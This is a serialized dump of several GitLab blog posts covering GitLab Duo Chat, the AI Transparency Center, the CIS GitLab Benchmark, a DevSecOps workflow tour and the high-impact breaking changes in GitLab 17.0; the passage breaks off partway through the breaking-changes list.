AI security governance is comprehensive. The recent launch of the [GitLab AI Transparency Center](https://about.gitlab.com/blog/introducing-the-gitlab-ai-transparency-center/) showcases our commitment to implementing a strong AI governance. We published our AI ethics principles as well as our AI continuity plan to demonstrate our AI resiliency.\n\n## Learn more\nAI security governance is a complex area, especially as the field is in a nascent form. As AI continues to support our workflows and accelerate our processes, responsible AI security governance becomes a key pillar of any security program. By understanding the nuances of AI, enhancing your risk management program, and using AI features that are developed responsibly, you can ensure that AI-powered workflows follow the principles of security, privacy, and trust. \n\n>  Learn more about [GitLab Duo AI features](https://about.gitlab.com/gitlab-duo/).\n",[790,943,674,185],{"slug":6237,"featured":92,"template":678},"a-developers-guide-to-building-an-ai-security-governance-framework","content:en-us:blog:a-developers-guide-to-building-an-ai-security-governance-framework.yml","A Developers Guide To Building An Ai Security Governance Framework","en-us/blog/a-developers-guide-to-building-an-ai-security-governance-framework.yml","en-us/blog/a-developers-guide-to-building-an-ai-security-governance-framework",{"_path":6243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6244,"content":6251,"config":6257,"_id":6260,"_type":16,"title":6261,"_source":17,"_file":6262,"_stem":6263,"_extension":20},"/en-us/blog/gitlab-16-11-release",{"title":6245,"description":6246,"ogTitle":6245,"ogDescription":6246,"config":6247,"ogImage":6248,"ogUrl":6249,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6249,"schema":6250},"GitLab 16.11 Release","GitLab 16.11 released with GitLab Duo Chat general availability",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099004/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%284%29_1od9f5DGEA0ntKLVnJbA2p_1750099004258.png","https://about.gitlab.com/blog/gitlab-16-11-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16.11 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Loryn Bortins\"}],\n        \"datePublished\": \"2024-04-18\",\n      }",{"title":6245,"description":6246,"authors":6252,"heroImage":6248,"date":6254,"body":6255,"category":962,"tags":6256},[6253],"Loryn Bortins","2024-04-18","This is the [16.11 release post](https://about.gitlab.com/releases/2024/04/18/gitlab-16-11-released/).",[774,479],{"slug":6258,"featured":6,"template":678,"externalUrl":6259},"gitlab-16-11-release","https://about.gitlab.com/releases/2024/04/18/gitlab-16-11-released/","content:en-us:blog:gitlab-16-11-release.yml","Gitlab 16 11 Release","en-us/blog/gitlab-16-11-release.yml","en-us/blog/gitlab-16-11-release",{"_path":6265,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6266,"content":6272,"config":6277,"_id":6279,"_type":16,"title":6280,"_source":17,"_file":6281,"_stem":6282,"_extension":20},"/en-us/blog/gitlab-duo-chat-now-generally-available",{"title":6267,"description":6268,"ogTitle":6267,"ogDescription":6268,"noIndex":6,"ogImage":6269,"ogUrl":6270,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6270,"schema":6271},"GitLab Duo Chat, your at-the-ready AI assistant, is now generally available","Explore a real-world example of how our versatile conversational interface for GitLab Duo helps developers onboard faster and write secure code more efficiently.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671806/Blog/Hero%20Images/GitLab-Duo-Chat-Thumbnail.png","https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat, your at-the-ready AI assistant, is now generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Torsten Linz\"},{\"@type\":\"Person\",\"name\":\"Laurena Alves\"}],\n        \"datePublished\": \"2024-04-18\",\n      }",{"title":6267,"description":6268,"authors":6273,"heroImage":6269,"date":6254,"body":6275,"category":791,"tags":6276},[1342,6274],"Laurena Alves","GitLab Duo Chat is now generally available in GitLab 16.11, bringing a broad range of AI features together into a single easy-to-use, natural language chat experience. Chat provides real-time guidance for engineering and non-engineering users across the entire software development lifecycle — supporting teams in a wide range of tasks, from understanding code faster and boosting collaboration to quickly learning how to use GitLab.\n\nToday, we are also making the following GitLab Duo capabilities, which are accessible in Chat, generally available:\n- **Code explanation** helps developers understand unfamiliar code.\n- **Code refactoring** enables developers to improve and modernize existing code.\n- **Test generation** automates the writing of tests for functions and methods and helps teams catch bugs sooner.\n\nGitLab Duo Chat is available within the GitLab user interface, including GitLab’s Web IDE, as well as within popular IDEs, including VS Code and the JetBrains suite of IDEs. Chat can also be extended by adding custom tools to help users more accurately complete tasks unique to their organization.\n\nGitLab's [2023 State of AI in Software Development Report](https://about.gitlab.com/developer-survey/#ai) found that developers spend 75% of their time on tasks other than writing code, including understanding and improving existing code, maintaining code, and testing — and AI, when leveraged across the entire software development lifecycle, will drive efficiencies across all these areas. The report also found that over three-quarters of DevSecOps professionals said they are concerned about AI tools having access to private information or intellectual property. By providing teams with a single entry point into AI for the entire software development process, Chat helps teams boost efficiency without sacrificing security, privacy, or code quality. \n\nIn this blog, we’ll explore an example of how you can use Chat to jump into a new project and immediately start adding value.\n\n## Get up to speed, fast\nAs a developer during onboarding, you can ask Chat for help with general knowledge such as understanding CI/CD, the difference between an issue and an epic, how to reset your GitLab password, or how to get started with popular frameworks. With Chat, you have an assistant ready to answer all of your onboarding questions, and soon you’re ready to dig into your first project.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175955/Blog/tottp2iwt85d7grkytpc.png\" alt=\"Chat GA blog CI/CD explanation\" width=\"300\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n## Accelerate development\nYour first task is to help the Product team update the product UI to include totals for the prices of all products in the inventory.\n\nTo better understand where to add the new functionality, you can ask Chat to explain a portion of the application and get a quick, easy-to-understand explanation of how the code works — without context-switching. Then, as you start developing the new feature, you can use GitLab Duo Code Suggestions to write code more efficiently. GitLab Duo lets you stay in flow by predictively completing code blocks and proposing common code, all in the same environment where you’re already coding.\n\nFinally, you spot a few lines of code that can be simplified, so you ask Chat to refactor the code. After just a few minutes, you have a better understanding of how your application works — and you have new, high-quality code to implement the functionality the Product team is looking for.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/933806295?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Help Center Video\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n## Stay secure\nBefore you merge any of your new code, you’ll need to run some tests to ensure everything works as expected. You can ask Chat to create unit tests for a Java class you modified. You then paste the unit tests into a new file. You notice that the vulnerability scanner for infrastructure as code has not been enabled, so you ask Chat about it and quickly append the scanner to the project pipeline.\n\nNow you can merge your code with confidence.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/933806352?autoplay=1&loop=1&autopause=0&background=1&muted=1\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Help Center Video\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n> Explore tips and tricks for [integrating GitLab Duo Chat into your AI-powered DevSecOps workflows](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/).\n\n## Adopt AI with guardrails\nLuckily, while you’ve been busy onboarding, getting up to speed on your first project, and merging your first lines of code, your organization can rest assured that Chat is built with privacy in mind and doesn't use customer data to train AI models. In addition, GitLab Duo AI access controls enable organizations to control sensitive data at the project, sub-group, and group levels by enabling or disabling AI read access.\n\n> Visit the [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) to explore how GitLab implements governance and transparency in GitLab Duo.\n\n## Get started with GitLab Duo Chat today\nWhether you’re a developer or you’re managing the entire team, GitLab Duo Chat can empower you to take advantage of AI exactly where you need it throughout the software development lifecycle — all while helping you maintain code quality and security guardrails. GitLab Duo Pro, including code explanation, code refactoring, and test generation, is now available to GitLab Premium and Ultimate customers for $19 USD per user per month.\n\n![GitLab Duo Pro price card](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677968/Blog/Content%20Images/GitLab_Pricing_Guide_PRO_820px_B.png)\n\n> [Start a free trial of GitLab Duo and get started using Chat today.](https://about.gitlab.com/gitlab-duo/#free-trial)\n\n## What’s next for GitLab Duo \nWe are building [GitLab Duo](https://about.gitlab.com/gitlab-duo/) to empower your teams to develop software faster, secure applications more efficiently, better manage software pipelines, and enhance team collaboration. We are excited to share that several GitLab Duo features currently in Beta will soon be released into general availability. Key enhancements include improved AI-powered security capabilities, such as detailed vulnerability explanations and automated resolution processes, as well as summarization and templating tools to help teams improve collaboration in issues, merge requests, and code reviews with concise AI-powered summaries and auto-population of templates.\n\nIn line with our privacy-first approach to AI, we will also continue to introduce new ways for organizations to tailor GitLab Duo to their specific needs with two upcoming capabilities:\n\n- **Model personalization** will enable organizations to leverage the full potential of AI in a way that aligns closely with their strategic goals, operational needs, and customer expectations.\n- **Self-hosted model deployment** will help organizations ensure that data doesn't leave their secure environment, reducing the risk of breaches and ensuring compliance with data protection regulations.\n\n> Visit the [GitLab Duo documentation](https://docs.gitlab.com/ee/user/ai_features.html) for a complete list of generally available, Beta, and Experimental features.",[790,695,479,736],{"slug":6278,"featured":92,"template":678},"gitlab-duo-chat-now-generally-available","content:en-us:blog:gitlab-duo-chat-now-generally-available.yml","Gitlab Duo Chat Now Generally Available","en-us/blog/gitlab-duo-chat-now-generally-available.yml","en-us/blog/gitlab-duo-chat-now-generally-available",{"_path":6284,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6285,"content":6290,"config":6295,"_id":6297,"_type":16,"title":6298,"_source":17,"_file":6299,"_stem":6300,"_extension":20},"/en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security",{"title":6286,"description":6287,"ogTitle":6286,"ogDescription":6287,"noIndex":6,"ogImage":6022,"ogUrl":6288,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6288,"schema":6289},"GitLab introduces new CIS Benchmark for improved security","Learn why CIS Benchmarks matter, how the CIS GitLab Benchmark was created, and how to use it to properly secure your GitLab installation.","https://about.gitlab.com/blog/gitlab-introduces-new-cis-benchmark-for-improved-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab introduces new CIS Benchmark for improved security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"},{\"@type\":\"Person\",\"name\":\"Ayoub Fandi\"}],\n        \"datePublished\": \"2024-04-17\",\n      }",{"title":6286,"description":6287,"authors":6291,"heroImage":6022,"date":6292,"body":6293,"category":674,"tags":6294},[1741,2306],"2024-04-17","The CIS Benchmarks™ play a critical role in hardening software against evolving cyber threats and ensuring compliance with industry regulations. GitLab and the Center for Internet Security® (CIS®) created the just-published [CIS GitLab Benchmark](https://workbench.cisecurity.org/benchmarks/14518), which includes more than 125 recommended secure configuration guidelines for hardening GitLab installations. Establishing this benchmark in collaboration with CIS demonstrates GitLab’s commitment to fostering a culture of proactive risk management within the DevOps landscape. The benchmark provides actionable security guidelines, which are especially beneficial for GitLab Self-managed customers.\n\nIn the following sections, we will examine:\n* [What are CIS Benchmarks?](#what-are-cis-benchmarks%3F)\n* [How the CIS GitLab Benchmark was created](#creating-the-cis-gitlab-benchmark)\n* [Objectives of the CIS GitLab Benchmark](#objectives-of-the-cis-gitlab-benchmark)\n* [How to implement the CIS GitLab Benchmark](#how-to-implement-the-cis-gitlab-benchmark)\n\n> Apply the [CIS GitLab Benchmark](https://www.cisecurity.org/cis-benchmarks) today.\n\n## What are CIS Benchmarks?\n\nThe CIS Benchmarks are comprehensive sets of guidelines and best practices developed by [CIS](https://www.cisecurity.org) to assist organizations in bolstering their cybersecurity defenses. These benchmarks serve as authoritative references, offering detailed recommendations on securely configuring various components of an organization's infrastructure, including operating systems, network devices, databases, and software applications.\n\nThe CIS Benchmarks are based on a consensus-driven development process that draws upon the collective expertise of cybersecurity professionals, industry practitioners, and subject matter experts around the world. CIS develops the benchmarks that encapsulate industry-standard best practices for securing systems and software across diverse environments and use cases. The benchmarks encompass a wide range of security controls, covering areas such as access control, authentication, encryption, logging, and monitoring. By adhering to the CIS Benchmarks, organizations can align their security posture with recognized industry standards and leverage proven strategies for safeguarding their digital assets.\n\nOrganizations that implement the recommendations outlined in the CIS Benchmarks can achieve the following:\n\n- proactively address common security issues\n- minimize exposure to vulnerabilities \n- enhance the resilience of their systems and software \n\nThe CIS Benchmarks create confidence among stakeholders, customers, and regulatory bodies as they have been used across the industry to harden key workloads and applications.\n\n## Creating the CIS GitLab Benchmark\n\nThe CIS GitLab Benchmark stemmed from a collaboration between CIS and GitLab's Field Security and Product Management teams. After numerous conversations with customers, we understood the need for a specific benchmark that would guide their hardening efforts. We conducted an in-depth review of GitLab’s product and documentation to understand how our offering mapped to CIS's Software Supply Chain Security Benchmark. After the initial draft was ready, it entered into the CIS consensus process, where the broader CIS Benchmark Community was able to review it and suggest edits prior to publication.\n\n## Objectives of the CIS GitLab Benchmark\n\nThe CIS GitLab Benchmark targets a range of specific security concerns and vulnerabilities inherent to the DevSecOps platform. These include issues related to access control, authentication mechanisms, data encryption, secure code development practices, vulnerability management, and secure configuration management.\n\nAdditionally, the Benchmark addresses concerns specific to DevSecOps workflows, such as the security of source code, build and pipelines, third-party packages, package registries and deployments. By ensuring users follow the recommended best practices, the GitLabBenchmark aims to enhance the overall security posture of organizations using the GitLab platform. \n\n## How to implement the CIS GitLab Benchmark\n\nTo apply the CIS GitLab Benchmark to your own environment, follow these four steps:\n\n1. Visit [https://www.cisecurity.org/cis-benchmarks](https://www.cisecurity.org/cis-benchmarks).\n2. Access the latest version of the CIS GitLab Benchmark by navigating to DevSecOps tools and then clicking \"Download the Benchmark.\"\n3. Assess your current configuration against the benchmark recommendations.\n4. Determine your gaps and the level of effort related to completing these gaps.\n5. Work on a plan to make your configuration as close to the benchmark recommendations as possible while taking into account the specificities of your own deployment.\n\nThe CIS GitLab Benchmark provides a comprehensive set of measures, which map to specific configurable features so it is simple to understand what steps to take to use GitLab securely and why each step should be taken. CIS is a well-respected, community-driven non-profit organization that “makes the connected world a safer place for people, businesses, and governments.” By leveraging the CIS GitLab Benchmark, you can help your organization take the proper steps to reduce cybersecurity risk and secure your GitLab installation.\n\n> Apply the [CIS GitLab Benchmark](https://www.cisecurity.org/cis-benchmarks) today.\n",[674],{"slug":6296,"featured":6,"template":678},"gitlab-introduces-new-cis-benchmark-for-improved-security","content:en-us:blog:gitlab-introduces-new-cis-benchmark-for-improved-security.yml","Gitlab Introduces New Cis Benchmark For Improved Security","en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security.yml","en-us/blog/gitlab-introduces-new-cis-benchmark-for-improved-security",{"_path":6302,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6303,"content":6309,"config":6314,"_id":6316,"_type":16,"title":6317,"_source":17,"_file":6318,"_stem":6319,"_extension":20},"/en-us/blog/interactive-take-a-guided-tour-of-the-devsecops-workflow",{"title":6304,"description":6305,"ogTitle":6304,"ogDescription":6305,"noIndex":6,"ogImage":6306,"ogUrl":6307,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6307,"schema":6308},"Interactive: Take a guided tour of the DevSecOps workflow","Explore GitLab's recommended best practices for DevSecOps with a detailed visual depiction of the main steps in the development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668969/Blog/Hero%20Images/blog-image-template-1800x945__1800_x_945_px_.png","https://about.gitlab.com/blog/interactive-take-a-guided-tour-of-the-devsecops-workflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Interactive: Take a guided tour of the DevSecOps workflow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2024-04-16\",\n      }",{"title":6304,"description":6305,"authors":6310,"heroImage":6306,"date":6311,"body":6312,"category":962,"tags":6313},[691],"2024-04-16","When engaging in discussions with industry professionals and stakeholders, they quickly grasp the core principles of DevSecOps, which emphasize speed, security, and quality. However, there's often a curiosity about the specific strategies required to achieve optimal speed without compromising security and quality. We created this interactive infographic to showcase GitLab's best practices for [DevSecOps](https://about.gitlab.com/topics/devsecops/) through a detailed visual depiction of the main steps in the development lifecycle.\n\nWalk through every step of the DevSecOps process, including creation of [issues](https://docs.gitlab.com/ee/user/project/issues/), development and pushing of code, [security testing](https://about.gitlab.com/stages-devops-lifecycle/secure/), and deployment to production. Each step features a deep dive with additional resources such as demos, blog posts, and documentation.\n\n## Get started with the interactive tour\n\nClick on the image below to access the guided tour, and use the navigation buttons or keyword arrows to easily make your way through the flow.\n\n[![GitLab workflow description](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676928/Blog/Content%20Images/infographic.png)](https://tech-marketing.gitlab.io/static-demos/gitlab-infographic.html)\n\n\u003Cp>\u003C/p>\n\n> > Learn how [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, further enhances the DevSecOps workflow.\n",[943,1444,110],{"slug":6315,"featured":92,"template":678},"interactive-take-a-guided-tour-of-the-devsecops-workflow","content:en-us:blog:interactive-take-a-guided-tour-of-the-devsecops-workflow.yml","Interactive Take A Guided Tour Of The Devsecops Workflow","en-us/blog/interactive-take-a-guided-tour-of-the-devsecops-workflow.yml","en-us/blog/interactive-take-a-guided-tour-of-the-devsecops-workflow",{"_path":6321,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6322,"content":6328,"config":6334,"_id":6336,"_type":16,"title":6337,"_source":17,"_file":6338,"_stem":6339,"_extension":20},"/en-us/blog/introducing-the-gitlab-ai-transparency-center",{"title":6323,"description":6324,"ogTitle":6323,"ogDescription":6324,"noIndex":6,"ogImage":6325,"ogUrl":6326,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6326,"schema":6327},"Introducing the GitLab AI Transparency Center","This new initiative will help our community understand how we uphold governance and transparency in our AI products.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098448/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_4YvWyVQu8Q1g31ZVjlDOkH_1750098447812.png","https://about.gitlab.com/blog/introducing-the-gitlab-ai-transparency-center","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the GitLab AI Transparency Center\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robin Schulman\"}],\n        \"datePublished\": \"2024-04-11\",\n      }",{"title":6323,"description":6324,"authors":6329,"heroImage":6325,"date":6331,"body":6332,"category":791,"tags":6333},[6330],"Robin Schulman","2024-04-11","GitLab is dedicated to responsibly integrating artificial intelligence (AI) throughout our comprehensive DevSecOps platform. We offer GitLab Duo, a [full suite of AI capabilities](https://about.gitlab.com/gitlab-duo/) across the GitLab platform, so that our customers can ship better, more secure software faster. GitLab Duo follows a privacy- and transparency-first approach to help customers confidently adopt AI while keeping their valuable assets protected.\n\nGenerative AI is moving so quickly and we know it presents a host of novel questions about the privacy and safety of this technology. In GitLab's [2023 State of AI in Software Development report](https://about.gitlab.com/developer-survey/#ai), more than 75% of respondents expressed concern about AI tools having access to private information or intellectual property. \n\n[Transparency is a core value at GitLab](https://handbook.gitlab.com/handbook/values/#transparency), and we take a transparency- and privacy-first approach to building our AI features to help ensure that our customers’ valuable intellectual property is protected. Accordingly, we’ve launched our [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) to help GitLab’s customers, community, and team members better understand the ways in which GitLab upholds ethics and transparency in our AI-powered features.\n\nThe AI Transparency Center includes GitLab’s [AI Ethics Principles for Product Development](https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/), [AI Continuity Plan](https://handbook.gitlab.com/handbook/product/ai/continuity-plan/), and our [AI features documentation](https://docs.gitlab.com/ee/user/ai_features.html).\n\n## The AI Ethics Principles for Product Development explained\n\nWe believe ethics play an important role in building AI features. For this reason, we’ve launched GitLab’s [AI Ethics Principles for Product Development](https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/) to address what we consider to be the best practices in responsible AI development. These Principles will help guide GitLab as we continue to build and evolve our AI functionality.\n\nThe Principles specifically address five key areas of concern that GitLab monitors so that we can continue to responsibly integrate AI into our customers’ workflows:\n\n- **Avoiding unfair bias.** [Diversity, Inclusion, and Belonging](https://about.gitlab.com/company/culture/inclusion/) is also one of GitLab’s core values. It is a critical consideration when building features powered by AI systems, as there is [evidence](https://fra.europa.eu/en/publication/2022/bias-algorithm) that AI systems may perpetuate human and societal biases. GitLab will continue to prioritize Diversity, Inclusion, and Belonging when building AI features.\n\n- **Safeguarding against security risks.** GitLab is a DevSecOps platform, which means we integrate security throughout our entire product, including in our AI features. While AI brings many potential security benefits, it can also create security risks if not deployed correctly. As we do with all of our features, our goal is to mitigate these security risks in GitLab’s AI features.\n\n- **Preventing potentially harmful uses.** We strive to build AI features responsibly. We try to carefully consider the potential consequences of our AI features in order to refrain from launching features that are likely to cause, or allow others to cause, overall harm.\n\n- **Considering what data our AI features use and how they use it.** We will continue to carefully evaluate the data that our AI features use, the purposes for which we’re using this data, and who owns the intellectual property and other rights to the data, just as we do with all of GitLab’s features.\n\n- **Holding ourselves accountable.** GitLab’s mission is to make it so that [everyone can contribute](https://about.gitlab.com/company/mission/), and we welcome feedback from the GitLab community about our AI features. We will in turn aim to share our AI ethics-related findings with others in the industry where possible. We also know that AI systems, and the risk mitigations we need to employ with them, will change over time, so we are committed to continuously reviewing and iterating on our AI features and these Principles.\n\n## The AI Continuity Plan explained\n\nUnlike other DevSecOps platforms, GitLab is not tied to a single AI model provider. Instead, our AI features are powered by a diverse set of models, which helps us support a wide range of use cases and gives our customers flexibility.\n\nWe carefully select our third-party AI vendors to ensure a commitment from the vendor that they will forgo the use of GitLab and GitLab customers’ content for the developing, training, and fine tuning of vendor models.\n\nOur new [AI Continuity Plan](https://handbook.gitlab.com/handbook/product/ai/continuity-plan/) lays out GitLab’s processes when reviewing and selecting new third-party AI vendors, and when these AI vendors materially change their practices with respect to customer data.\n\n## AI features documentation \n\nIn keeping with GitLab’s core Transparency value, our [AI features documentation](https://docs.gitlab.com/ee/user/ai_features.html) clearly outlines our AI features’ purposes, underlying models, statuses, and privacy practices.\n\n## Visit the AI Transparency Center\n\nThe [AI Transparency Center](https://about.gitlab.com/ai-transparency-center/) is publicly available in keeping with our [Transparency value](https://handbook.gitlab.com/handbook/values/#transparency) and to encourage others in the AI industry and the GitLab community to take safety, privacy, and ethics into account when building their own AI-powered functionality.\n\nWe’re excited about the opportunities that responsible AI will bring, and will continue to build our AI features with ethics, privacy, and transparency in mind.\n",[790,676,736],{"slug":6335,"featured":6,"template":678},"introducing-the-gitlab-ai-transparency-center","content:en-us:blog:introducing-the-gitlab-ai-transparency-center.yml","Introducing The Gitlab Ai Transparency Center","en-us/blog/introducing-the-gitlab-ai-transparency-center.yml","en-us/blog/introducing-the-gitlab-ai-transparency-center",{"_path":6341,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6342,"content":6347,"config":6352,"_id":6354,"_type":16,"title":6355,"_source":17,"_file":6356,"_stem":6357,"_extension":20},"/en-us/blog/a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0",{"title":6343,"description":6344,"ogTitle":6343,"ogDescription":6344,"noIndex":6,"ogImage":831,"ogUrl":6345,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6345,"schema":6346},"A guide to the high-impact breaking changes in GitLab 17.0","Find, assess, and mitigate the impact of deprecations and breaking changes in this year’s major release.","https://about.gitlab.com/blog/a-guide-to-the-high-impact-breaking-changes-in-gitlab-17-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to the high-impact breaking changes in GitLab 17.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Martin Brümmer\"},{\"@type\":\"Person\",\"name\":\"Sam Wiskow\"}],\n        \"datePublished\": \"2024-04-10\",\n      }",{"title":6343,"description":6344,"authors":6348,"heroImage":831,"date":6349,"body":6350,"category":834,"tags":6351},[1718,1720],"2024-04-10","GitLab 17.0 is coming on May 16. This version, a major release, will include many exciting improvements to GitLab, but also removes some deprecated features. Visit the [Deprecations page](https://docs.gitlab.com/ee/update/deprecations?removal_milestone=17.0) to see what is scheduled for removal in 17.0 and keep reading for an overview of the highest impact removals.\n\nAdditionally, this year we are introducing three windows during which we expect breaking changes to be enabled on GitLab.com:\n\n- 2024-04-22 09:00 UTC to 2024-04-24 22:00 UTC\n\n- 2024-04-29 09:00 UTC to 2024-05-01 22:00 UTC\n\n- 2024-05-06 09:00 UTC to 2024-05-08 22:00 UTC\n\n**Note:** Some breaking changes may fall slightly outside of these windows in exceptional circumstances.\n\n**Update:** We have created a [public issue](https://gitlab.com/gitlab-com/Product/-/issues/13310) with more details about which changes should land in which windows.\n\n## High-impact breaking changes in GitLab 17.0\n\nWe have identified the following high-impact removals in 17.0. We define “high impact” as potentially disrupting critical workflows, such as continuous integration (CI), continuous deployment (CD), compliance, or the availability of the instance. That’s why we suggest you should prioritize these breaking changes first when preparing for the major release. While you can find detailed information on each breaking change in the linked documentation, we’ve provided some notes about the affected features and potential impact in this overview.\n\n### Self-managed deployment\n- [Postgres 13 deprecated](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#postgresql-13-deprecated)\n    - Impacts all self-managed customers. Failing to upgrade to Postgres 14 will break the deployment.\n    - Postgres 14 is already supported starting from GitLab 16.2.0.\n- [omniauth-azure-oauth2 gem is deprecated](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#omniauth-azure-oauth2-gem-is-deprecated)\n    - Impacts self-managed customers who use the `omniauth-azure-oauth2` provider for authentication.\n    - Without migration to `omniauth_openid_connect`, users will no longer be able to sign in using the Azure login button.\n- [Min concurrency and max concurrency in Sidekiq options](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#min-concurrency-and-max-concurrency-in-sidekiq-options)\n    - Impacts GitLab deployments that have `sidekiq['min_concurrency']` and `sidekiq['max_concurrency']` configured in their `gitlab.rb`.\n    - Failure to migrate will break the deployment.\n\n###  CI\n- [Registration tokens and server-side runner arguments in POST /api/v4/runners endpoint](https://docs.gitlab.com/ee/update/deprecations.html#registration-tokens-and-server-side-runner-arguments-in-post-apiv4runners-endpoint)\n    - Impacts custom automations that provision runners.\n    - Potentially breaks CI pipelines by disabling runner provisioning.\n- [File type variable expansion fixed in downstream pipelines](https://docs.gitlab.com/ee/update/deprecations.html#file-type-variable-expansion-fixed-in-downstream-pipelines)\n    - Impacts pipelines using [downstream pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) passing [File-type variables](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#pass-cicd-variables-to-a-downstream-pipeline) to the downstream pipeline.\n    - Changed behavior may break the downstream pipeline due to a change in variable content.\n\n- [after_script keyword will run for canceled jobs](https://docs.gitlab.com/ee/update/deprecations.html#after_script-keyword-will-run-for-cancelled-jobs)\n    - Impacts pipelines using the [after_script](https://docs.gitlab.com/ee/ci/yaml/#after_script) keyword.\n    - Changed behavior may break pipelines or cause unexpected pipeline results.\n- [Old versions of JSON web tokens are deprecated](https://docs.gitlab.com/ee/update/deprecations.html#old-versions-of-json-web-tokens-are-deprecated), [HashiCorp Vault integration will no longer use CI_JOB_JWT by default](https://docs.gitlab.com/ee/update/deprecations.html#hashicorp-vault-integration-will-no-longer-use-ci_job_jwt-by-default), and [JWT /-/jwks instance endpoint is deprecated](https://docs.gitlab.com/ee/update/deprecations.html#jwt--jwks-instance-endpoint-is-deprecated)\n    - Impacts pipelines relying on the `CI_JOB_JWT or CI_JOB_JWT_V2` CI variables.\n    - The removal of the variable may break Vault integrations or otherwise cause pipelines to fail.\n\n### CD\n- [The pull-based deployment features of the GitLab agent for Kubernetes is deprecated](https://docs.gitlab.com/ee/update/deprecations.html#the-pull-based-deployment-features-of-the-gitlab-agent-for-kubernetes-is-deprecated)\n    - Impacts projects using the GitLab agent for Kubernetes for deployments.\n    - The change may break CD workflows relying on the GitLab agent for Kubernetes.\n    - The agent itself is not deprecated and still used for a number of features, like communicating with the cluster, its API endpoints and pushing information about events in the cluster to GitLab.\n\n- [Agent for Kubernetes option ca-cert-file renamed](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#agent-for-kubernetes-option-ca-cert-file-renamed)\n    - Impacts customers installing Kubernetes agents behind a self-signed certificate.\n    - The change may impact CD workflows relying on connecting Kubernetes clusters to GitLab via the agent.\n\n### Package\n- [npm package uploads now occur asynchronously](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#npm-package-uploads-now-occur-asynchronously)\n    - Impacts projects [publishing npm or Yarn packages to the GitLab registry](https://docs.gitlab.com/ee/user/packages/npm_registry/#publish-to-gitlab-package-registry).\n    - Due to the asynchronous upload, pipelines may break that expect packages to be available as soon as they are published.\n\n- [Dependency Proxy: Access tokens to have additional scope checks](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#dependency-proxy-access-tokens-to-have-additional-scope-checks)\n    - Impacts projects using the Dependency Proxy with a group access token or personal access token that have insufficient 